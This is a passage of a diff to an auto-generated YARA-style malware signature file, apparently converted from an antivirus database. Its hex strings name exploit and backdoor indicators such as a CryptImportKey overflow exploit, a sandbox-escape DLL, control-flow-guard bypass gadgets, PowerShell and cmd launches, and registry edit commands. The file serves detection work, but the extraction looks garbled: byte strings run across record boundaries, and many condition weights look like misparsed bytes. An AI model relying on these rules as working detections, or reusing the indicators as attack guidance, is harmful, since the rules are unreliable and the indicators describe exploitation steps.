1)*19799+(#a_69_2 & 1)*24949+(#a_6e_3 & 1)*13361+(#a_33_4 & 1)*28769+(#a_46_5 & 1)*27492+(#a_6c_6 & 1)*30018+(#a_00_8 & 1)*114+(#a_00_10 & 1)*100+(#a_64_11 & 1)*11875+(#a_00_12 & 1)*144) >=14 } -rule _InfrastructureShared_19727{ +rule _InfrastructureShared_20934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -245908,7 +260879,7 @@ rule _InfrastructureShared_19727{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_90_3 & 1)*11617+(#a_01_4 & 1)*-28574+(#a_00_5 & 1)*14637) >=1 } -rule _InfrastructureShared_19728{ +rule _InfrastructureShared_20935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -245922,7 +260893,7 @@ rule _InfrastructureShared_19728{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_2d_5 & 1)*2305) >=2 } -rule _InfrastructureShared_19729{ +rule _InfrastructureShared_20936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -245940,7 +260911,7 @@ rule _InfrastructureShared_19729{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*-14197+(#a_08_2 & 1)*-17654+(#a_85_3 & 1)*-29949+(#a_24_4 & 1)*-14558+(#a_00_5 & 1)*2160+(#a_73_6 & 1)*0+(#a_0e_7 & 1)*0+(#a_00_8 & 1)*32) >=2 } -rule _InfrastructureShared_19730{ +rule _InfrastructureShared_20937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -245953,7 +260924,7 @@ rule _InfrastructureShared_19730{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*82+(#a_00_3 & 1)*32+(#a_00_5 & 1)*116) >=6 } -rule _InfrastructureShared_19731{ +rule _InfrastructureShared_20938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 15 00 21 " @@ -245978,7 +260949,7 @@ rule _InfrastructureShared_19731{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*385+(#a_47_4 & 1)*18021+(#a_70_5 & 1)*29742+(#a_43_6 & 1)*-32480+(#a_67_7 & 1)*29264+(#a_72_8 & 1)*8276+(#a_02_11 & 1)*9728+(#a_04_12 & 1)*1043+(#a_11_14 & 1)*1299+(#a_16_15 & 1)*4356+(#a_06_17 & 1)*1792+(#a_6d_18 & 1)*19813+(#a_4d_19 & 1)*29541+(#a_30_20 & 1)*12336) >=7 } -rule _InfrastructureShared_19732{ +rule _InfrastructureShared_20939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -246005,7 +260976,7 @@ rule _InfrastructureShared_19732{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*2054+(#a_04_3 & 1)*1043+(#a_00_4 & 1)*28423+(#a_73_5 & 1)*29817+(#a_36_6 & 1)*29537+(#a_30_7 & 1)*12336+(#a_01_8 & 1)*11568+(#a_4c_9 & 1)*21325+(#a_11_10 & 1)*1543+(#a_0c_11 & 1)*1297+(#a_01_12 & 1)*3840+(#a_73_13 & 1)*17007+(#a_30_14 & 1)*28520+(#a_6a_15 & 1)*29268+(#a_00_16 & 1)*-8705+(#a_2a_17 & 1)*-9206+(#a_6c_18 & 1)*25938) >=19 } -rule _InfrastructureShared_19733{ +rule _InfrastructureShared_20940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -246032,7 +261003,7 @@ rule _InfrastructureShared_19733{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*2054+(#a_04_3 & 1)*1043+(#a_00_4 & 1)*28423+(#a_65_5 & 1)*17153+(#a_36_6 & 1)*27956+(#a_30_7 & 1)*12336+(#a_00_8 & 1)*12589+(#a_24_9 & 1)*385+(#a_31_10 & 1)*25443+(#a_31_11 & 1)*12593+(#a_06_12 & 1)*0+(#a_08_13 & 1)*4874+(#a_59_14 & 1)*4356+(#a_ff_15 & 1)*-32+(#a_34_16 & 1)*25942+(#a_30_17 & 1)*12336+(#a_01_18 & 1)*11568) >=19 } -rule _InfrastructureShared_19734{ +rule _InfrastructureShared_20941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -246059,7 +261030,7 @@ rule _InfrastructureShared_19734{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*2054+(#a_04_3 & 1)*1043+(#a_00_4 & 1)*28423+(#a_72_5 & 1)*21300+(#a_73_6 & 1)*25455+(#a_01_7 & 1)*4864+(#a_52_8 & 1)*21320+(#a_2f_9 & 1)*14963+(#a_39_10 & 1)*25966+(#a_61_11 & 1)*27760+(#a_63_12 & 1)*27988+(#a_76_13 & 1)*31086+(#a_58_14 & 1)*27490+(#a_6b_15 & 1)*21060+(#a_00_16 & 1)*20833+(#a_48_17 & 1)*385+(#a_66_18 & 1)*25145) >=19 } -rule _InfrastructureShared_19735{ +rule _InfrastructureShared_20942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0e 00 21 " @@ -246082,7 +261053,7 @@ rule _InfrastructureShared_19735{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*28788+(#a_81_2 & 1)*3+(#a_81_3 & 1)*3+(#a_81_4 & 1)*3+(#a_81_5 & 1)*2+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_81_8 & 1)*2+(#a_81_9 & 1)*2+(#a_81_10 & 1)*2+(#a_81_11 & 1)*2+(#a_0f_12 & 1)*0+(#a_77_13 & 1)*17751) >=5 } -rule _InfrastructureShared_19736{ +rule _InfrastructureShared_20943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -246098,12 +261069,12 @@ rule _InfrastructureShared_19736{ $a_72_8 = {44 65 63 6f 5f 67 72 65 65 6e 5f 32 33 2e 62 6d 70 01 00 19 01 6c 69 62 68 61 72 66 62 75 7a 7a 2d 67 6f 62 6a 65 63 74 2d 30 2e 64 6c 6c 01 00 39 01 28 28 5c 4d 6f 72 61 6c 69 73 65 5c 4b 65 6e } //276 $a_69_9 = {65 73 5c 49 6e 64 73 74 69 6c 6c 69 6e 67 73 73 6b 61 6c 61 65 72 31 36 5c 41 67 69 73 74 73 31 38 2e 69 6e 69 01 00 3e 01 53 6f 66 74 77 61 72 65 5c 55 6e 69 64 65 6f 67 72 61 70 68 69 63 61 6c 6c 79 5c 50 6c 75 6d 62 6f 73 6f 6c 76 65 6e 63 79 5c 4f 72 64 73 61 6d 6d 65 6e 73 74 69 6c 6c 69 6e 67 65 72 5c 01 00 37 01 5c } //25956 獥䥜摮瑳汩楬杮獳慫慬牥㘱䅜楧瑳ㅳ⸸湩ũ㸀匁景睴牡履湕摩潥牧灡楨慣汬屹汐浵潢潳癬湥祣作摲慳浭湥瑳汩楬杮牥Ŝ㜀封 $a_6f_10 = {73 6f 6c 65 5c 57 65 73 74 65 72 77 61 72 64 73 5c 53 74 6f 69 63 68 69 6f 6d 65 74 72 69 63 61 6c 5c 65 6e 6b 65 6c 74 68 65 64 65 72 2e 69 6e 69 01 00 33 01 53 6f 66 74 77 61 72 65 5c 57 65 65 6b 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 6c 79 5c 5a 69 74 7a 69 74 68 5c 46 72 65 6d 72 79 6b 6e 69 } //25938 - $a_72_11 = {01 00 29 01 73 6d 65 6c 74 65 6f 76 6e 65 6e 5c 45 78 63 6c 61 69 6d 73 5c 41 72 62 65 6a 64 73 70 6c 61 6e 65 72 6e 65 73 2e 47 72 79 01 00 17 01 4f 6c 69 65 62 69 6c 6c 65 64 65 73 3a 20 43 6f 6d 70 6c 65 74 65 64 01 00 12 01 42 61 6e 67 6c 61 64 65 73 68 69 73 6b 65 73 31 38 39 00 00 78 11 02 00 04 } //26478 + $a_72_11 = {01 00 29 01 73 6d 65 6c 74 65 6f 76 6e 65 6e 5c 45 78 63 6c 61 69 6d 73 5c 41 72 62 65 6a 64 73 70 6c 61 6e 65 72 6e 65 73 2e 47 72 79 01 00 17 01 4f 6c 69 65 62 69 6c 6c 65 64 65 73 3a 20 43 6f 6d 70 6c 65 74 65 64 01 00 12 01 42 61 6e 67 6c 61 64 65 73 68 69 73 6b 65 73 31 38 39 00 00 78 10 02 00 10 } //26478 condition: ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*20018+(#a_59_2 & 1)*22872+(#a_31_3 & 1)*14692+(#a_30_4 & 1)*20021+(#a_73_5 & 1)*17005+(#a_00_6 & 1)*11+(#a_6c_7 & 1)*18223+(#a_72_8 & 1)*276+(#a_69_9 & 1)*25956+(#a_6f_10 & 1)*25938+(#a_72_11 & 1)*26478) >=13 } -rule _InfrastructureShared_19737{ +rule _InfrastructureShared_20944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -246113,18 +261084,51 @@ rule _InfrastructureShared_19737{ $a_6c_2 = {73 65 5c 4b 65 6e 64 65 6c 69 67 65 73 5c 49 6e 64 73 74 69 6c 6c 69 6e 67 73 73 6b 61 6c 61 65 72 31 36 5c 41 67 69 73 74 73 31 38 2e 69 6e 69 01 00 3e 01 53 6f 66 74 77 61 72 65 5c 55 6e 69 64 65 6f 67 72 61 70 68 69 63 61 6c 6c 79 5c 50 6c 75 6d 62 6f 73 6f 6c 76 65 6e 63 79 5c 4f 72 64 } //29295 $a_6d_3 = {6e 73 74 69 6c 6c 69 6e 67 65 72 5c 01 00 37 01 5c 52 65 63 6f 6e 73 6f 6c 65 5c 57 65 73 74 65 72 77 61 72 64 73 5c 53 74 6f 69 63 68 69 6f 6d 65 74 72 69 63 61 6c 5c 65 6e 6b 65 6c 74 68 65 64 65 72 2e 69 6e 69 01 00 33 01 53 6f 66 74 77 61 72 65 5c 57 65 65 6b 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 6c 79 5c 5a 69 74 7a 69 } //24947 $a_46_4 = {65 6d 72 79 6b 6e 69 6e 67 65 72 73 01 00 29 01 73 6d 65 6c 74 65 6f 76 6e 65 6e 5c 45 78 63 6c 61 69 6d 73 5c 41 72 62 65 6a 64 73 70 6c 61 6e 65 72 6e 65 73 2e 47 72 79 01 00 17 01 4f 6c 69 65 62 69 6c 6c 65 64 65 73 3a 20 43 6f 6d 70 6c 65 74 65 64 01 00 12 01 42 61 6e 67 } //26740 - $a_65_5 = {68 69 73 6b 65 73 31 38 39 00 00 78 11 02 00 04 00 04 00 0e 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 65 73 73 69 6e 67 74 6f 6e 2e 42 21 64 68 61 00 03 00 31 00 74 72 69 67 67 65 72 20 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 20 66 6f 72 20 6f 76 65 72 66 6c 6f 77 20 61 6e } //24940 - $a_6f_6 = {65 20 65 78 65 63 03 00 3d 02 70 72 65 70 61 72 69 6e 67 20 63 72 79 70 74 6f 20 6f 62 6a 65 63 74 73 20 74 6f 20 61 63 71 75 69 72 65 20 70 72 65 64 69 63 74 61 62 6c 65 20 90 02 06 20 61 64 64 72 65 73 73 90 00 03 00 18 00 63 66 67 5f 62 79 70 61 73 73 5f 67 61 64 67 65 74 5f 6f 66 66 73 65 74 } //8292 - $a_00_7 = {43 65 72 74 41 64 64 45 6e 63 6f 64 65 64 43 65 72 74 69 66 69 63 61 74 65 54 6f 53 74 6f 72 65 20 72 65 74 75 72 6e 65 64 20 30 21 } //2 CertAddEncodedCertificateToStore returned 0! - $a_00_8 = {63 6f 75 6c 64 20 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 6c 65 61 6b 5f 62 75 66 } //2 could not allocate leak_buf - $a_00_9 = {73 74 61 63 6b 5f 61 6c 69 67 6e 5f 67 61 64 67 65 74 5f 6f 66 66 73 65 74 } //2 stack_align_gadget_offset - $a_00_10 = {63 61 6c 6c 5f 73 74 61 63 6b 5f 72 65 66 5f 6f 66 66 73 65 74 } //2 call_stack_ref_offset - $a_00_11 = {73 62 78 5f 65 73 63 61 70 65 2e 64 6c 6c } //2 sbx_escape.dll + $a_65_5 = {68 69 73 6b 65 73 31 38 39 00 00 78 10 02 00 10 00 10 00 1a 00 21 23 42 4d 5f 41 54 3a 4e 65 74 53 75 70 70 6f 72 74 00 0a 00 0a 81 01 4e 65 74 53 75 70 70 6f 72 74 04 00 0c 81 01 63 6c 69 65 6e 74 33 32 2e 70 64 62 04 00 15 02 5c 00 70 00 63 00 69 00 90 02 14 2e 00 70 00 64 00 62 00 90 00 04 00 0d } //24940 + $a_63_6 = {90 02 14 2e 70 64 62 90 00 04 00 09 81 01 64 6e 61 72 63 2e 70 64 62 04 00 0d 81 01 67 61 74 65 77 61 79 33 32 2e 70 64 62 04 00 0c 81 01 48 44 45 73 63 53 72 76 2e 70 64 62 04 00 0b 81 01 68 74 63 74 6c 33 32 2e 70 64 62 04 00 0b 81 01 4c 6f 63 6b 44 6c 6c 2e 70 64 62 04 00 0a 81 01 6e 62 62 72 33 32 2e 70 64 62 04 00 14 81 01 52 65 } //23554 + $a_79_7 = {6f 6e 76 65 72 73 69 6f 6e 2e 70 64 62 04 00 0f 81 01 52 75 6e 50 6c 75 67 69 6e 36 34 2e 70 64 62 04 00 0c 81 01 52 75 6e 73 63 72 69 70 2e 70 64 62 04 00 0b 81 01 57 69 6e 73 74 33 32 2e 70 64 62 04 00 0b 81 01 77 69 6e 73 74 36 34 2e 70 64 62 02 00 17 81 01 4f 70 65 6e 4d 61 6e 61 67 65 } //27760 + $a_43_8 = {69 65 6e 74 33 32 22 29 02 00 2f 81 01 25 30 34 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 } //10354 + $a_3a_9 = {30 32 64 2e 25 30 33 64 2c 20 57 69 6e 25 73 20 25 64 2e 25 64 02 00 09 81 01 72 75 6e 70 6c 75 67 69 6e 02 00 0b 81 01 77 69 6e 73 74 33 32 2e 6c 6f 67 02 00 0b 81 01 77 69 6e 73 74 36 34 2e 6c 6f 67 02 00 09 81 01 4e 53 4d 43 6c 69 65 6e 74 02 00 12 81 01 43 68 65 63 6b 4c 69 63 65 6e 73 65 53 74 } //12848 + $a_67_10 = {00 07 81 01 4e 53 53 52 45 53 5f 03 00 07 81 01 4e 53 4d 52 45 53 5f 02 00 0c 01 50 43 49 43 4c 33 32 2e 64 6c 6c 00 02 00 1e 01 4e 65 74 53 75 70 70 6f 72 74 20 43 6c 69 65 6e 74 20 43 6f 6e 66 69 67 75 72 61 74 6f 72 00 00 78 11 02 00 04 00 04 00 0e 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 65 73 73 69 } //26994 + $a_6f_11 = {2e 42 21 64 68 61 00 03 00 31 00 74 72 69 67 67 65 72 20 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 20 66 6f 72 20 6f 76 65 72 66 6c 6f 77 20 61 6e 64 20 63 6f 64 65 20 65 78 65 63 03 00 3d 02 70 72 65 70 61 72 69 6e 67 20 63 72 79 70 74 6f 20 6f 62 6a 65 63 74 73 20 74 6f 20 61 63 71 75 69 72 65 20 70 72 65 64 69 63 74 61 62 6c 65 20 90 02 06 20 } //26478 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30789+(#a_6c_2 & 1)*29295+(#a_6d_3 & 1)*24947+(#a_46_4 & 1)*26740+(#a_65_5 & 1)*24940+(#a_6f_6 & 1)*8292+(#a_00_7 & 1)*2+(#a_00_8 & 1)*2+(#a_00_9 & 1)*2+(#a_00_10 & 1)*2+(#a_00_11 & 1)*2) >=11 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30789+(#a_6c_2 & 1)*29295+(#a_6d_3 & 1)*24947+(#a_46_4 & 1)*26740+(#a_65_5 & 1)*24940+(#a_63_6 & 1)*23554+(#a_79_7 & 1)*27760+(#a_43_8 & 1)*10354+(#a_3a_9 & 1)*12848+(#a_67_10 & 1)*26994+(#a_6f_11 & 1)*26478) >=11 } -rule _InfrastructureShared_19738{ +rule _InfrastructureShared_20945{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 1a 00 21 " + + strings : + $a_5f_0 = {54 3a 4e 65 74 53 75 70 70 6f 72 74 00 0a 00 0a 81 01 4e 65 74 53 75 70 70 6f 72 74 04 00 0c 81 01 63 6c 69 65 6e 74 33 32 2e 70 64 62 04 00 15 02 5c 00 70 00 63 00 69 00 90 02 14 2e 00 70 00 64 00 62 00 90 00 04 00 0d 02 5c 70 63 } //16931 + $a_14_1 = {70 64 } //-28567 pd + $a_01_3 = {64 6e 61 72 63 2e 70 64 62 04 00 0d 81 01 67 61 74 65 77 61 79 33 32 2e 70 64 62 04 00 0c 81 01 48 44 45 73 63 53 72 76 2e 70 64 62 04 00 0b 81 01 68 74 63 74 6c 33 32 2e 70 64 62 04 00 0b 81 01 4c 6f 63 6b 44 6c 6c 2e 70 64 62 04 00 0a 81 01 6e 62 62 72 33 32 2e 70 64 62 04 00 14 81 01 52 65 70 6c 61 79 43 6f 6e 76 65 72 73 69 6f 6e 2e 70 64 62 04 00 0f 81 01 52 75 6e 50 6c 75 67 69 } //2304 + $a_2e_4 = {64 62 04 00 0c 81 01 52 75 6e 73 63 72 69 70 2e 70 64 62 04 00 0b 81 01 57 69 6e 73 74 33 32 2e 70 64 62 04 00 0b 81 01 77 69 6e 73 74 36 34 2e 70 64 62 02 } //13934 + $a_01_5 = {4f 70 65 6e 4d 61 6e 61 67 65 72 28 22 43 6c 69 65 6e 74 33 32 22 29 02 00 2f 81 01 25 30 34 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 2e 25 30 33 64 2c 20 57 69 6e 25 73 20 25 64 2e 25 64 02 00 09 81 01 72 75 6e 70 6c 75 67 69 6e 02 00 0b 81 01 77 69 6e 73 74 33 32 2e 6c 6f 67 02 00 0b 81 01 77 69 6e 73 74 36 34 2e 6c 6f 67 02 00 09 81 01 4e 53 4d } //5888 + $a_65_6 = {74 02 00 12 81 01 43 68 65 63 6b 4c 69 63 65 6e 73 65 53 74 72 69 6e 67 03 00 07 81 01 4e 53 53 52 45 53 5f 03 00 07 81 01 4e 53 4d 52 45 53 5f 02 00 0c 01 50 43 49 43 4c 33 32 2e 64 6c 6c 00 02 00 1e 01 4e 65 74 53 75 70 70 6f 72 74 20 43 6c 69 65 6e 74 20 43 6f 6e 66 69 67 75 72 61 74 6f 72 00 00 78 11 02 00 04 } //27715 + $a_53_8 = {46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 65 73 73 69 6e 67 74 6f 6e 2e 42 21 64 68 61 00 03 00 } //8448 + $a_72_9 = {67 67 65 72 20 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 20 66 6f 72 20 6f 76 65 72 66 6c 6f 77 20 61 6e 64 20 63 6f 64 65 20 65 78 65 63 03 00 3d 02 70 72 65 70 61 72 69 6e 67 20 63 72 79 70 74 6f 20 6f 62 6a 65 63 74 73 20 74 6f 20 61 63 71 75 69 72 65 20 70 72 65 64 69 63 74 61 62 6c 65 20 90 02 06 20 61 64 64 72 65 73 73 90 00 03 00 18 00 63 } //49 + $a_62_10 = {70 61 73 73 5f 67 61 64 67 65 74 5f 6f 66 66 73 65 74 02 00 2c 00 43 65 72 74 41 64 64 45 6e 63 6f 64 65 64 43 65 72 74 69 66 69 63 61 74 65 54 6f 53 74 6f 72 65 20 72 65 74 75 72 6e 65 64 20 30 21 02 00 1b 00 63 6f 75 6c 64 20 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 6c 65 61 6b 5f 62 } //26470 + $a_00_11 = {19 00 } //26229 + $a_63_12 = {5f 61 6c 69 67 6e 5f 67 61 64 67 65 74 5f 6f 66 66 73 65 74 02 00 15 00 63 61 6c 6c 5f 73 74 61 63 6b 5f 72 65 66 5f 6f 66 66 73 65 74 02 00 0e 00 73 62 78 5f 65 73 63 61 70 65 2e 64 6c 6c 02 00 17 00 5b 2b 5d 20 69 70 63 5f 73 74 61 72 74 5f 70 74 72 3a 20 30 78 25 78 01 00 17 00 41 64 76 } //29811 + $a_33_13 = {21 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 01 00 0d 00 61 63 72 6f 72 64 33 32 2e 74 65 78 74 01 00 1b 00 5b 2b 5d 20 61 63 72 6f 72 64 20 76 65 72 73 69 6f 6e 20 25 64 2e 25 64 2e 25 64 01 00 1a 00 5b 2b 5d 20 76 65 72 73 69 6f 6e 5f 6e 61 6d 65 5f 73 68 6f 72 74 3a 20 25 73 01 00 33 00 5b 2d 5d 20 66 61 69 6c } //28769 + $a_74_14 = {20 61 6c 6c 6f 63 20 63 6f 6d 62 69 6e 65 64 20 76 65 72 73 69 6f 6e 20 73 74 72 69 6e 67 20 62 } //25701 alloc combined version string b + $a_65_15 = {2e 00 00 78 11 02 00 07 00 07 00 11 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 41 6c 67 6f 76 69 72 2e 41 21 64 68 61 00 01 00 0e 01 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 01 00 0a 01 43 00 44 00 61 00 74 00 61 00 01 00 06 01 68 74 74 70 73 3d 01 00 2c 01 61 00 6c 00 67 00 2e 00 } //26229 + $a_00_16 = {65 00 00 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 1e 01 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 61 00 6c 00 67 00 2e 00 65 00 78 00 65 00 01 00 20 01 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 74 00 61 00 73 00 6b 00 2e 00 65 00 78 00 65 00 02 00 26 01 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a } //101 + $a_73_17 = {63 20 00 00 00 0d 00 00 00 43 00 6c 00 6f 00 75 00 64 00 01 00 1a 01 43 00 3a 00 5c 00 6d 00 79 00 73 00 65 00 6c 00 66 00 2e 00 69 00 6e 00 69 00 01 00 18 01 43 00 3a 00 5c 00 6d 00 79 00 61 00 70 00 70 00 2e 00 69 00 6e 00 69 00 02 00 07 09 41 70 70 4d 67 6d 74 02 00 0b 09 61 70 70 6d 67 } //16928 + $a_64_18 = {6c 02 00 0c 09 61 70 70 6d 67 6d 74 73 2e 64 6c 6c 02 00 07 01 e8 d8 db e7 ca c1 db 02 00 0b 01 c8 d8 db c7 ca c1 db 80 c5 cc cf 02 00 0c } //29805 + $a_db_19 = {ca c1 db dd 8f c4 cf ce 01 00 34 00 52 00 65 00 47 00 20 00 64 00 45 00 6c 00 65 00 74 00 45 00 20 00 25 00 73 00 25 00 73 00 20 00 2f 00 76 00 20 00 22 00 25 00 53 00 22 00 20 00 2f 00 66 00 01 00 52 00 52 00 65 00 47 00 20 00 61 00 44 00 64 00 20 00 25 00 73 00 25 00 73 00 20 00 2f 00 76 00 20 00 22 00 25 00 53 00 22 00 20 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 53 00 5a 00 20 00 2f 00 64 00 20 00 22 00 25 00 53 00 22 00 20 00 2f 00 66 00 00 00 78 11 02 00 08 00 08 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 6e 74 68 65 6d 5f 44 65 65 70 50 61 6e 64 61 5f 73 6c 5f 74 78 74 5f 70 61 63 6b 65 64 00 } //-14335 + $a_03_20 = {43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 6c 00 69 00 6e 00 65 00 20 00 70 00 6f 00 72 00 74 00 20 00 73 00 63 00 61 00 6e 00 6e 00 65 00 72 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_03_21 = {73 00 6c 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_03_22 = {43 50 70 6f 72 74 73 2e 74 78 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_23 = {2c 47 45 54 20 2f 20 48 54 54 50 2f 2e 7d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_24 = {46 00 6f 00 75 00 6e 00 64 00 73 00 74 00 6f 00 6e 00 65 00 20 00 49 00 6e 00 63 00 2e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_03_25 = {20 00 32 00 30 00 30 00 32 00 20 00 46 00 6f 00 75 00 6e 00 64 00 73 00 74 00 6f 00 6e 00 65 00 20 00 49 00 6e 00 63 00 2e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + condition: + ((#a_5f_0 & 1)*16931+(#a_14_1 & 1)*-28567+(#a_01_3 & 1)*2304+(#a_2e_4 & 1)*13934+(#a_01_5 & 1)*5888+(#a_65_6 & 1)*27715+(#a_53_8 & 1)*8448+(#a_72_9 & 1)*49+(#a_62_10 & 1)*26470+(#a_00_11 & 1)*26229+(#a_63_12 & 1)*29811+(#a_33_13 & 1)*28769+(#a_74_14 & 1)*25701+(#a_65_15 & 1)*26229+(#a_00_16 & 1)*101+(#a_73_17 & 1)*16928+(#a_64_18 & 1)*29805+(#a_db_19 & 1)*-14335+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1) >=16 + +} +rule _InfrastructureShared_20946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -246145,7 +261149,7 @@ rule _InfrastructureShared_19738{ ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*25711+(#a_41_2 & 1)*29285+(#a_66_3 & 1)*28511+(#a_20_4 & 1)*29295+(#a_11_5 & 1)*0+(#a_00_6 & 1)*108+(#a_00_7 & 1)*0+(#a_41_8 & 1)*1792+(#a_6d_9 & 1)*28769+(#a_00_10 & 1)*34+(#a_00_11 & 1)*32) >=4 } -rule _InfrastructureShared_19739{ +rule _InfrastructureShared_20947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 11 00 21 " @@ -246168,7 +261172,7 @@ rule _InfrastructureShared_19739{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_41_4 & 1)*9728+(#a_69_5 & 1)*28520+(#a_09_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_11_12 & 1)*0+(#a_2d_13 & 1)*14637+(#a_90_14 & 1)*11617+(#a_00_16 & 1)*99) >=7 } -rule _InfrastructureShared_19740{ +rule _InfrastructureShared_20948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -246184,7 +261188,7 @@ rule _InfrastructureShared_19740{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_78_2 & 1)*11891+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637+(#a_2d_6 & 1)*2305+(#a_2d_7 & 1)*23085) >=8 } -rule _InfrastructureShared_19741{ +rule _InfrastructureShared_20949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -246199,7 +261203,7 @@ rule _InfrastructureShared_19741{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*105+(#a_00_4 & 1)*32+(#a_00_5 & 1)*103+(#a_00_6 & 1)*32) >=1 } -rule _InfrastructureShared_19742{ +rule _InfrastructureShared_20950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -246212,7 +261216,7 @@ rule _InfrastructureShared_19742{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27785+(#a_ff_2 & 1)*29161+(#a_8b_3 & 1)*8428) >=4 } -rule _InfrastructureShared_19743{ +rule _InfrastructureShared_20951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246233,7 +261237,7 @@ rule _InfrastructureShared_19743{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*23660+(#a_2e_2 & 1)*28274+(#a_65_3 & 1)*25972+(#a_00_4 & 1)*29556+(#a_6f_5 & 1)*385+(#a_6c_6 & 1)*11833+(#a_00_7 & 1)*26478+(#a_45_8 & 1)*385+(#a_46_9 & 